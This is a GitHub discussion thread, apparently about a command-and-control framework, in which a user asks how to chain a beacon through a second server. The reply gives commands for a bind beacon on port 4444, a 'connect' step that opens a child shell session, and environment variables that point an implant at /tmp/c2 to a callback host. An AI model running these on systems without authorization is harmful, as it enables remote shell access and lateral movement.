Can anyone pease help me setup a beacon peer? #201
-
Here is my scinario I would like to test:
|
Beta Was this translation helpful? Give feedback.
Replies: 1 comment
-
There are two possible solutions here: Suppose Server1's IP = 10.0.0.4, Server2's IP = 10.0.0.5
|
Beta Was this translation helpful? Give feedback.
There are two possible solutions here:
Suppose Server1's IP = 10.0.0.4, Server2's IP = 10.0.0.5
Generate a linux-bind type beacon, and then run
./bind-beacon <4444>
on Server2 (when the port is not specified, the default is 4444 listening port), and then on the session of Server1, runconnect 10.0.0.5:4444
. In this way, a child node session of server2 can be obtained, and simple shell commands can be executedPerform port forwarding on Server1, use
iptables
or other open source tools, and then regenerate the beacon pointing to Server1 IP(10.0.0.4). Or use environment variables to change communicationexport CCHOST=10.0.0.4 && export CCPORT=1443 && /tmp/c2